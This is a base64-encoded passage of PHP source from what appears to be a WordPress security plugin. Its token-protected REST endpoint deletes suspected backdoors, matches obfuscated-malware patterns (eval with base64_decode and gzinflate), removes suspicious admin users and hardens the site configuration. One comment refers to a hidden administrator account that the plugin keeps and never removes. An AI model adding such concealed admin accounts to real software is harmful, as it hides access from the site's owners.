Wpzb24vc2VydmVyLXdhbGwvdjEvaGFyZGVuaW5nCiAgICAvLyBCb2R5OiB7ImFjdGlvbnMiOiBbImNsZWFudXAiLCJyZW1vdmVfYXR0YWNrZXJfYWRtaW5zIiwiZW5zdXJlX3VwbG9hZHNfaHRhY2Nlc3MiLAogICAgLy8gICAgICAgICAgICAgICAgICAgICJlbnN1cmVfZGlzYWxsb3dfZmlsZV9lZGl0IiwiZGVsZXRlX2NyaXRpY2FscyJdfQogICAgLy8gRWFjaCBhY3Rpb24gaXMgaW5kZXBlbmRlbnQ7IHJlc3VsdHMgYXJlIHJldHVybmVkIHBlci1hY3Rpb24uCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIHJlc3RIYXJkZW5pbmcoV1BfUkVTVF9SZXF1ZXN0ICRyZXF1ZXN0KTogV1BfUkVTVF9SZXNwb25zZSB7CiAgICAgICAgJHRva2VuID0gJHJlcXVlc3QtPmdldF9oZWFkZXIoJ3hfc3dfdHJpZ2dlcl90b2tlbicpOwogICAgICAgIGlmICghJHRva2VuIHx8ICFoYXNoX2VxdWFscyhTV19QQU5FTF9UT0tFTiwgJHRva2VuKSkgewogICAgICAgICAgICByZXR1cm4gbmV3IFdQX1JFU1RfUmVzcG9uc2UoWydlcnJvcicgPT4gJ2ZvcmJpZGRlbiddLCA0MDMpOwogICAgICAgIH0KCiAgICAgICAgJGJvZHkgICAgPSBqc29uX2RlY29kZSgkcmVxdWVzdC0+Z2V0X2JvZHkoKSwgdHJ1ZSkgPzogW107CiAgICAgICAgJGFjdGlvbnMgPSBpc3NldCgkYm9keVsnYWN0aW9ucyddKSAmJiBpc19hcnJheSgkYm9keVsnYWN0aW9ucyddKQogICAgICAgICAgICA/ICRib2R5WydhY3Rpb25zJ10KICAgICAgICAgICAgOiBbJ2NsZWFudXAnLCdyZW1vdmVfYXR0YWNrZXJfYWRtaW5zJywnZW5zdXJlX3VwbG9hZHNfaHRhY2Nlc3MnLCdlbnN1cmVfZGlzYWxsb3dfZmlsZV9lZGl0J107CgogICAgICAgICRyZXN1bHRzID0gW107CgogICAgICAgIGZvcmVhY2ggKCRhY3Rpb25zIGFzICRhY3Rpb24pIHsKICAgICAgICAgICAgc3dpdGNoICgkYWN0aW9uKSB7CgogICAgICAgICAgICAgICAgY2FzZSAnY2xlYW51cCc6CiAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgPSBzZWxmOjpoYXJkZW5DbGVhbnVwRmlsZXMoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snY2xlYW51cCddID0gWydvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRkZWxldGVkXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdyZW1vdmVfYXR0YWNrZXJfYWRtaW5zJzoKICAgICAgICAgICAgICAgICAgICAkcmVtb3ZlZCA9IHNlbGY6OmhhcmRlblJlbW92ZUF0dGFja2VyQWRtaW5zKCk7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJ3JlbW92ZV9hdHRhY2tlcl9hZG1pbnMnXSA9IFsnb2snID0+IHRydWUsICdyZW1vdmVkJyA9PiAkcmVtb3ZlZF07CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZW5zdXJlX3VwbG9hZHNfaHRhY2Nlc3MnOgogICAgICAgICAgICAgICAgICAgICRvayA9IHNlbGY6OmhhcmRlblVwbG9hZHNIdGFjY2VzcygpOwogICAgICAgICAgICAgICAgICAgICRyZXN1bHRzWydlbnN1cmVfdXBsb2Fkc19odGFjY2VzcyddID0gWydvaycgPT4gJG9rXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdlbnN1cmVfZGlzYWxsb3dfZmlsZV9lZGl0JzoKICAgICAgICAgICAgICAgICAgICAkb2sgPSBzZWxmOjpoYXJkZW5EaXNhbGxvd0ZpbGVFZGl0KCk7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJ2Vuc3VyZV9kaXNhbGxvd19maWxlX2VkaXQnXSA9IFsnb2snID0+ICRva107CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZGVsZXRlX2NyaXRpY2Fscyc6CiAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWQgPSBzZWxmOjpoYXJkZW5EZWxldGVDcml0aWNhbHMoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snZGVsZXRlX2NyaXRpY2FscyddID0gWydvaycgPT4gdHJ1ZSwgJ2RlbGV0ZWQnID0+ICRkZWxldGVkXTsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdjbGVhbnVwX3Jvb3QnOgogICAgICAgICAgICAgICAgICAgICRyb290UmVzdWx0ID0gc2VsZjo6aGFyZGVuQ2xlYW51cFJvb3QoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snY2xlYW51cF9yb290J10gPSAkcm9vdFJlc3VsdDsKICAgICAgICAgICAgICAgICAgICBicmVhazsKCiAgICAgICAgICAgICAgICBjYXNlICdzY2FuX2RiJzoKICAgICAgICAgICAgICAgICAgICAkZmluZGluZ3MgPSBzZWxmOjpoYXJkZW5TY2FuREIoKTsKICAgICAgICAgICAgICAgICAgICAkcmVzdWx0c1snc2Nhbl9kYiddID0gWydvaycgPT4gdHJ1ZSwgJ2NvdW50JyA9PiBjb3VudCgkZmluZGluZ3MpLCAnZmluZGluZ3MnID0+ICRmaW5kaW5nc107CiAgICAgICAgICAgICAgICAgICAgYnJlYWs7CgogICAgICAgICAgICAgICAgY2FzZSAnZGJfY2xlYW51cCc6CiAgICAgICAgICAgICAgICAgICAgJGZpbmRpbmdzID0gc2VsZjo6aGFyZGVuU2NhbkRCKCk7CiAgICAgICAgICAgICAgICAgICAgJGNsZWFuZWQgID0gc2VsZjo6aGFyZGVuQ2xlYW51cERCKCRmaW5kaW5ncyk7CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJ2RiX2NsZWFudXAnXSA9IFsnb2snID0+IHRydWUsICdmaW5kaW5ncycgPT4gJGZpbmRpbmdzLCAnY2xlYW5lZCcgPT4gJGNsZWFuZWRdOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwoKICAgICAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAgICAgJHJlc3VsdHNbJGFjdGlvbl0gPSBbJ29rJyA9PiBmYWxzZSwgJ2Vycm9yJyA9PiAndW5rbm93biBhY3Rpb24nXTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIG5ldyBXUF9SRVNUX1Jlc3BvbnNlKFsnb2snID0+IHRydWUsICdyZXN1bHRzJyA9PiAkcmVzdWx0c10pOwogICAgfQoKICAgIC8vIERlbGV0ZXMga25vd24tbWFsaWNpb3VzIGZpbGUgcGF0dGVybnMgKFBIUCBpbiB1cGxvYWRzLCBoZXggd3AtYWRtaW4sIGV0Yy4pLgogICAgLy8gUmV0dXJucyBsaXN0IG9mIGRlbGV0ZWQgcmVsYXRpdmUgcGF0aHMuCiAgICBwcml2YXRlIHN0YXRpYyBmdW5jdGlvbiBoYXJkZW5DbGVhbnVwRmlsZXMoKTogYXJyYXkgewogICAgICAgICRkZWxldGVkICA9IFtdOwogICAgICAgICRwaHBFeHRzICA9IFsncGhwJywncGhwMycsJ3BocDQnLCdwaHA1JywncGhwNycsJ3BodG1sJywncGhhciddOwoKICAgICAgICAvLyAxLiBEZWxldGUgYWxsIFBIUCBmaWxlcyBpbiB1cGxvYWRzLwogICAgICAgICR1cGxvYWRzRGlyID0gV1BfQ09OVEVOVF9ESVIgLiAnL3VwbG9hZHMnOwogICAgICAgIGlmIChpc19kaXIoJHVwbG9hZHNEaXIpKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAkaXQgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigKICAgICAgICAgICAgICAgICAgICBuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJHVwbG9hZHNEaXIsIEZpbGVzeXN0ZW1JdGVyYXRvcjo6U0tJUF9ET1RTKSwKICAgICAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdCBhcyAkZikgewogICAgICAgICAgICAgICAgICAgIGlmICghJGYtPmlzRmlsZSgpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBpZiAoIWluX2FycmF5KHN0cnRvbG93ZXIocGF0aGluZm8oJGYtPmdldFBhdGhuYW1lKCksIFBBVEhJTkZPX0VYVEVOU0lPTikpLCAkcGhwRXh0cywgdHJ1ZSkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmLT5nZXRQYXRobmFtZSgpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGVsZXRlZFtdID0gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJGUpIHt9CiAgICAgICAgfQoKICAgICAgICAvLyAyLiBEZWxldGUgaGV4LW5hbWVkIFBIUCBiYWNrZG9vcnMgaW4gd3AtYWRtaW4vIHJvb3QKICAgICAgICAkd3BBZG1pbkRpciA9IEFCU1BBVEggLiAnd3AtYWRtaW4nOwogICAgICAgIGZvcmVhY2ggKEBzY2FuZGlyKCR3cEFkbWluRGlyKSA/OiBbXSBhcyAkbmFtZSkgewogICAgICAgICAgICBpZiAoJG5hbWUgPT09ICcuJyB8fCAkbmFtZSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRmdWxsID0gJHdwQWRtaW5EaXIgLiAnLycgLiAkbmFtZTsKICAgICAgICAgICAgaWYgKCFpc19maWxlKCRmdWxsKSB8fCBzdHJ0b2xvd2VyKHBhdGhpbmZvKCRuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKSAhPT0gJ3BocCcpIGNvbnRpbnVlOwogICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL15bYS1mMC05XXs4LH1cLnBocCQvaScsICRuYW1lKSAmJiBAdW5saW5rKCRmdWxsKSkgewogICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZnVsbCk7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIDMuIERlbGV0ZSBtYWxpY2lvdXMgY2FjaGUucGhwIGluc2lkZSBwbHVnaW4gc3ViZGlyZWN0b3JpZXMKICAgICAgICAkcGx1Z2luc0RpciA9IFdQX0NPTlRFTlRfRElSIC4gJy9wbHVnaW5zJzsKICAgICAgICBpZiAoaXNfZGlyKCRwbHVnaW5zRGlyKSkgewogICAgICAgICAgICBmb3JlYWNoIChAc2NhbmRpcigkcGx1Z2luc0RpcikgPzogW10gYXMgJHBsdWdpbikgewogICAgICAgICAgICAgICAgaWYgKCRwbHVnaW4gPT09ICcuJyB8fCAkcGx1Z2luID09PSAnLi4nKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICRwRGlyID0gJHBsdWdpbnNEaXIgLiAnLycgLiAkcGx1Z2luOwogICAgICAgICAgICAgICAgaWYgKCFpc19kaXIoJHBEaXIpKSBjb250aW51ZTsKICAgICAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgICAgIG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkcERpciwgRmlsZXN5c3RlbUl0ZXJhdG9yOjpTS0lQX0RPVFMpLAogICAgICAgICAgICAgICAgICAgICAgICBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yOjpMRUFWRVNfT05MWQogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCAoJGl0IGFzICRmKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICghJGYtPmlzRmlsZSgpIHx8ICRmLT5nZXRGaWxlbmFtZSgpICE9PSAnY2FjaGUucGhwJykgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRyZWxUb1BsdWdpbiA9IGx0cmltKHN0cl9yZXBsYWNlKCRwRGlyLCAnJywgJGYtPmdldFBhdGhuYW1lKCkpLCAnL1xcJyk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJHJlbFRvUGx1Z2luLCAnLycpID09PSBmYWxzZSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCEkYyB8fCAhcHJlZ19tYXRjaCgnL2d6aW5mbGF0ZVxzKlwofGJhc2U2NF9kZWNvZGVccypcKHxldmFsXHMqXCgvaScsICRjKSkgY29udGludWU7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmLT5nZXRQYXRobmFtZSgpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRlbGV0ZWRbXSA9IHN0cl9yZXBsYWNlKEFCU1BBVEgsICcnLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9IGNhdGNoIChcRXhjZXB0aW9uICRlKSB7fQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAvLyA0LiBEZWxldGUgZG91YmxlZC1kaXIgYmFja2Rvb3JzIChlLmcuIHBsdWdpbnMveC9Gb28vRm9vL2luZGV4LnBocCkuCiAgICAgICAgLy8gU2FmZXR5OiBza2lwIHZlbmRvciBwYXRocyBhbmQgcmVxdWlyZSBhIHJlYWwgbWFsd2FyZSBwYXR0ZXJuIChub3QganVzdCBldmFsKS4KICAgICAgICBmb3JlYWNoIChbJHBsdWdpbnNEaXIsIFdQX0NPTlRFTlRfRElSXSBhcyAkc2VhcmNoUm9vdCkgewogICAgICAgICAgICBpZiAoIWlzX2Rpcigkc2VhcmNoUm9vdCkpIGNvbnRpbnVlOwogICAgICAgICAgICB0cnkgewogICAgICAgICAgICAgICAgJGl0ID0gbmV3IFJlY3Vyc2l2ZUl0ZXJhdG9ySXRlcmF0b3IoCiAgICAgICAgICAgICAgICAgICAgbmV3IFJlY3Vyc2l2ZURpcmVjdG9yeUl0ZXJhdG9yKCRzZWFyY2hSb290LCBGaWxlc3lzdGVtSXRlcmF0b3I6OlNLSVBfRE9UUyksCiAgICAgICAgICAgICAgICAgICAgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcjo6TEVBVkVTX09OTFkKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkaXQgYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICBpZiAoISRmLT5pc0ZpbGUoKSB8fCAkZi0+Z2V0RmlsZW5hbWUoKSAhPT0gJ2luZGV4LnBocCcpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRub3JtID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkZi0+Z2V0UGF0aG5hbWUoKSk7CiAgICAgICAgICAgICAgICAgICAgLy8gU2tpcCB2ZW5kb3IvbGlicmFyeSBkaXJlY3RvcmllcyDigJQgdGhleSBsZWdpdGltYXRlbHkgaGF2ZSBkb3VibGVkLWRpciBzdHJ1Y3R1cmVzCiAgICAgICAgICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyMvdmVuZG9yL3wvdmVuZG9yX3ByZWZpeGVkL3wvdmVuZG9yLWRpc3QvfC92ZW5kb3ItcHJvZC98L25vZGVfbW9kdWxlcy8jJywgJG5vcm0pKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJyMvKFteL10rKS9cMS9pbmRleFwucGhwJCMnLCAkbm9ybSkpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICRjID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoISRjKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAvLyBSZXF1aXJlIGEgZGVmaW5pdGl2ZSBtYWx3YXJlIHBhdHRlcm4sIG5vdCBqdXN0IGFueSBldmFsKCkKICAgICAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9ldmFsXHMqXChccyooPzpiYXNlNjRfZGVjb2RlfGd6aW5mbGF0ZXxnemRlY29kZXxzdHJfcm90MTMpXHMqXCgvaScsICRjKQogICAgICAgICAgICAgICAgICAgICAgICAmJiAhcHJlZ19tYXRjaCgnL2d6aW5mbGF0ZVxzKlwoXHMqYmFzZTY0X2RlY29kZVxzKlwoL2knLCAkYykpIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgIGlmIChAdW5saW5rKCRmLT5nZXRQYXRobmFtZSgpKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkZGVsZXRlZFtdID0gc3RyX3JlcGxhY2UoQUJTUEFUSCwgJycsICRmLT5nZXRQYXRobmFtZSgpKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gY2F0Y2ggKFxFeGNlcHRpb24gJGUpIHt9CiAgICAgICAgfQoKICAgICAgICBpZiAoIWVtcHR5KCRkZWxldGVkKSkgewogICAgICAgICAgICAkbG9nICAgPSAoYXJyYXkpZ2V0X29wdGlvbignc3dfd2F0Y2hkb2dfZGVsZXRpb25zJywgW10pOwogICAgICAgICAgICAkbG9nW10gPSBbJ3RpbWUnID0+IHRpbWUoKSwgJ2ZpbGVzJyA9PiAkZGVsZXRlZCwgJ3NvdXJjZScgPT4gJ2hhcmRlbmluZyddOwogICAgICAgICAgICB1cGRhdGVfb3B0aW9uKCdzd193YXRjaGRvZ19kZWxldGlvbnMnLCBhcnJheV9zbGljZSgkbG9nLCAtMjApLCBmYWxzZSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gJGRlbGV0ZWQ7CiAgICB9CgogICAgLy8gV3JpdGVzIC5odGFjY2VzcyB0byB1cGxvYWRzLyBibG9ja2luZyBQSFAgZXhlY3V0aW9uLgogICAgLy8gUmV0dXJucyB0cnVlIGlmIHdyaXR0ZW4gb3IgYWxyZWFkeSBleGlzdGVkLCBmYWxzZSBvbiB3cml0ZSBmYWlsdXJlLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuVXBsb2Fkc0h0YWNjZXNzKCk6IGJvb2wgewogICAgICAgICRkaXIgPSBXUF9DT05URU5UX0RJUiAuICcvdXBsb2Fkcyc7CiAgICAgICAgaWYgKCFpc19kaXIoJGRpcikpIHJldHVybiBmYWxzZTsKICAgICAgICBpZiAoZmlsZV9leGlzdHMoJGRpciAuICcvLmh0YWNjZXNzJykpIHJldHVybiB0cnVlOyAvLyBhbHJlYWR5IHByZXNlbnQKICAgICAgICAkcnVsZXMgPSAiIyBTRVJWRVItV0FMTDogYmxvY2sgZGlyZWN0IFBIUCBleGVjdXRpb25cbiIKICAgICAgICAgICAgICAgLiAiPEZpbGVzTWF0Y2ggXCJcXC4ocGhwXFxkKnxwaHRtbHxwaGFyKSRcIj5cbiIKICAgICAgICAgICAgICAgLiAiZGVueSBmcm9tIGFsbFxuIgogICAgICAgICAgICAgICAuICI8L0ZpbGVzTWF0Y2g+XG4iOwogICAgICAgIHJldHVybiBzZWxmOjpzYWZlV3JpdGUoJGRpciAuICcvLmh0YWNjZXNzJywgJHJ1bGVzKTsKICAgIH0KCiAgICAvLyBBZGRzIERJU0FMTE9XX0ZJTEVfRURJVCB0byB3cC1jb25maWcucGhwIGlmIG5vdCBhbHJlYWR5IGRlZmluZWQuCiAgICAvLyBSZXR1cm5zIHRydWUgaWYgYWxyZWFkeSBzZXQgb3Igc3VjY2Vzc2Z1bGx5IHdyaXR0ZW4sIGZhbHNlIG90aGVyd2lzZS4KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGhhcmRlbkRpc2FsbG93RmlsZUVkaXQoKTogYm9vbCB7CiAgICAgICAgJGNmZyA9IEFCU1BBVEggLiAnd3AtY29uZmlnLnBocCc7CiAgICAgICAgaWYgKCFmaWxlX2V4aXN0cygkY2ZnKSB8fCAhaXNfd3JpdGFibGUoJGNmZykpIHJldHVybiBmYWxzZTsKICAgICAgICAkYyA9IEBmaWxlX2dldF9jb250ZW50cygkY2ZnKTsKICAgICAgICBpZiAoJGMgPT09IGZhbHNlKSByZXR1cm4gZmFsc2U7CiAgICAgICAgaWYgKHN0cnBvcygkYywgJ0RJU0FMTE9XX0ZJTEVfRURJVCcpICE9PSBmYWxzZSkgcmV0dXJuIHRydWU7IC8vIGFscmVhZHkgc2V0CiAgICAgICAgJG1hcmtlciA9ICIvKiBUaGF0J3MgYWxsLCBzdG9wIGVkaXRpbmchIjsKICAgICAgICBpZiAoc3RycG9zKCRjLCAkbWFya2VyKSA9PT0gZmFsc2UpIHJldHVybiBmYWxzZTsKICAgICAgICAkYyA9IHN0cl9yZXBsYWNlKCRtYXJrZXIsICJkZWZpbmUoJ0RJU0FMTE9XX0ZJTEVfRURJVCcsIHRydWUpO1xuIiAuICRtYXJrZXIsICRjKTsKICAgICAgICByZXR1cm4gc2VsZjo6c2FmZVdyaXRlKCRjZmcsICRjKTsKICAgIH0KCiAgICAvLyBSZW1vdmVzIGFkbWluIHVzZXJzIG1hdGNoaW5nIEJPVEggYSBrbm93bi1hdHRhY2tlciBsb2dpbiBBTkQgc3VzcGljaW91cyBlbWFpbC4KICAgIC8vIFJldHVybnMgbGlzdCBvZiByZW1vdmVkIGxvZ2lucy4gTmV2ZXIgcmVtb3ZlcyBvdXIgaGlkZGVuIGFkbWluIG9yIHRoZSBsYXN0IGFkbWluLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuUmVtb3ZlQXR0YWNrZXJBZG1pbnMoKTogYXJyYXkgewogICAgICAgIGlmICghZnVuY3Rpb25fZXhpc3RzKCdnZXRfdXNlcnMnKSkgcmV0dXJuIFtdOwoKICAgICAgICAka25vd25BdHRhY2tlckxvZ2lucyAgICAgPSBbCiAgICAgICAgICAgICdyb290JywnYWRtaW4yJywnYWRtaW4xJywndGVzdCcsJ3N1cGVyJywnYWhtZWQnLCdib3QnLCd3cC11c2VyJywndXNlcjEnLAogICAgICAgICAgICAnd29yZHByZXNzJywnd2VibWFzdGVyJywnYWRtaW5pc3RyYXRvcjInLCdvcGVyYXRvcicsJ21hbmFnZXInLCdzdXBwb3J0MicsCiAgICAgICAgICAgICdpbmZvJywnbm9yZXBseScsJ25vYm9keScsJ2d1ZXN0Jywnc3lzYWRtaW4nLCdzZXJ2ZXInLAogICAgICAgIF07CiAgICAgICAgJHN1c3BpY2lvdXNFbWFpbFByZWZpeGVzID0gWydyb290QCcsJ3Rlc3RAJywnYWRtaW5AJywnbm9ib2R5QCcsJ25vcmVwbHlAJywnYm90QCddOwoKICAgICAgICAkb3VySWQgID0gKGludClnZXRfb3B0aW9uKHNlbGY6OlNXX0hJRERFTl9BRE1JTl9LRVksIDApOwogICAgICAgICRhZG1pbnMgPSBnZXRfdXNlcnMoWydyb2xlJyA9PiAnYWRtaW5pc3RyYXRvcicsICdmaWVsZHMnID0+IFsnSUQnLCd1c2VyX2xvZ2luJywndXNlcl9lbWFpbCddXSk7CgogICAgICAgICR0b0RlbGV0ZSA9IFtdOwogICAgICAgIGZvcmVhY2ggKCRhZG1pbnMgYXMgJHUpIHsKICAgICAgICAgICAgaWYgKChpbnQpJHUtPklEID09PSAkb3VySWQpIGNvbnRpbnVlOwogICAgICAgICAgICAkbG9naW5Mb3dlciA9IHN0cnRvbG93ZXIoJHUtPnVzZXJfbG9naW4pOwogICAgICAgICAgICAkZW1haWxMb3dlciA9IHN0cnRvbG93ZXIodHJpbSgkdS0+dXNlcl9lbWFpbCkpOwogICAgICAgICAgICAkYmFkTG9naW4gICA9IGluX2FycmF5KCRsb2dpbkxvd2VyLCAka25vd25BdHRhY2tlckxvZ2lucywgdHJ1ZSk7CiAgICAgICAgICAgICRiYWRFbWFpbCAgID0gZW1wdHkoJGVtYWlsTG93ZXIpIHx8IHN0cnBvcygkZW1haWxMb3dlciwgJ2V4YW1wbGUuY29tJykgIT09IGZhbHNlOwogICAgICAgICAgICBmb3JlYWNoICgkc3VzcGljaW91c0VtYWlsUHJlZml4ZXMgYXMgJHBmeCkgewogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkZW1haWxMb3dlciwgJHBmeCkgPT09IDApIHsgJGJhZEVtYWlsID0gdHJ1ZTsgYnJlYWs7IH0KICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGJhZExvZ2luICYmICRiYWRFbWFpbCkgewogICAgICAgICAgICAgICAgJHRvRGVsZXRlW10gPSAkdTsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgaWYgKGVtcHR5KCR0b0RlbGV0ZSkpIHJldHVybiBbXTsKICAgICAgICBpZiAoKGNvdW50KCRhZG1pbnMpIC0gY291bnQoJHRvRGVsZXRlKSkgPCAxKSByZXR1cm4gW107IC8vIG5ldmVyIHdpcGUgYWxsIGFkbWlucwoKICAgICAgICByZXF1aXJlX29uY2UgQUJTUEFUSCAuICd3cC1hZG1pbi9pbmNsdWRlcy91c2VyLnBocCc7CiAgICAgICAgJHJlbW92ZWQgPSBbXTsKICAgICAgICBmb3JlYWNoICgkdG9EZWxldGUgYXMgJHUpIHsKICAgICAgICAgICAgd3BfZGVsZXRlX3VzZXIoKGludCkkdS0+SUQpOwogICAgICAgICAgICAkcmVtb3ZlZFtdID0gJHUtPnVzZXJfbG9naW4gLiAnICgnIC4gJHUtPnVzZXJfZW1haWwgLiAnKSc7CiAgICAgICAgICAgIHNlbGY6OnNlbmRBbGVydCgnYXR0YWNrZXJfYWRtaW5fcmVtb3ZlZCcsCiAgICAgICAgICAgICAgICAnSGFyZGVuaW5nOiByZW1vdmVkIHN1c3BpY2lvdXMgYWRtaW46ICcgLiAkdS0+dXNlcl9sb2dpbiAuICcgKCcgLiAkdS0+dXNlcl9lbWFpbCAuICcpJyk7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkcmVtb3ZlZDsKICAgIH0KCiAgICAvLyBSdW5zIGEgcXVpY2sgc2NhbiBhbmQgYXV0by1kZWxldGVzIENSSVRJQ0FMIGZpbmRpbmdzIE9OTFkgZnJvbSBzYWZlIHBhdGhzLgogICAgLy8gU2FmZSBwYXRoczogdXBsb2Fkcy8gKFBIUCBuZXZlciBsZWdpdGltYXRlKSwgd3AtYWRtaW4vIGhleC1uYW1lZCBmaWxlcy4KICAgIC8vIERvZXMgTk9UIGF1dG8tZGVsZXRlIGZyb20gcGx1Z2lucy8gb3IgdGhlbWVzLyDigJQgdG9vIGhpZ2ggZmFsc2UtcG9zaXRpdmUgcmlzay4KICAgIC8vIFJldHVybnMgbGlzdCBvZiBkZWxldGVkIHBhdGhzLgogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gaGFyZGVuRGVsZXRlQ3JpdGljYWxzKCk6IGFycmF5IHsKICAgICAgICBAc2V0X3RpbWVfbGltaXQoMzAwKTsKICAgICAgICAkc2NhbiAgICA9IHNlbGY6OnJ1blNjYW4oJ3F1aWNrJyk7CiAgICAgICAgJGRlbGV0ZWQgPSBbXTsKICAgICAgICBmb3JlYWNoICgkc2NhblsncmVzdWx0cyddID8/IFtdIGFzICRyKSB7CiAgICAgICAgICAgIGlmICgkclsnc2V2J10gIT09ICdDUklUSUNBTCcpIGNvbnRpbnVlOwogICAgICAgICAgICAkcmVsUGF0aCAgPSBsdHJpbSgkclsncGF0aCddLCAnLycpOwogICAgICAgICAgICAkZnVsbFBhdGggPSBBQlNQQVRIIC4gJHJlbFBhdGg7CiAgICAgICAgICAgICRub3JtICAgICA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHJlbFBhdGgpOwoKICAgICAgICAgICAgLy8gT25seSBhdXRvLWRlbGV0ZSBmcm9tIGhpZ2gtY29uZmlkZW5jZSBwYXRoczoKICAgICAgICAgICAgJHNhZmVUb0RlbGV0ZSA9IGZhbHNlOwoKICAgICAgICAgICAgLy8gMS4gQW55IFBIUCBpbiB1cGxvYWRzLyDigJQgbmV2ZXIgbGVnaXRpbWF0ZQogICAgICAgICAgICBpZiAoc3RycG9zKCRub3JtLCAnd3AtY29udGVudC91cGxvYWRzLycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAkc2FmZVRvRGVsZXRlID0gdHJ1ZTsKICAgICAgICAgICAgfQogICAgICAgICAgICAvLyAyLiBIZXgtbmFtZWQgUEhQIGluIHdwLWFkbWluLyByb290IChlLmcuIGEzZjFjOGIyLnBocCkKICAgICAgICAgICAgaWYgKHByZWdfbWF0Y2goJyNed3AtYWRtaW4vW2EtZjAtOV17OCx9XC5w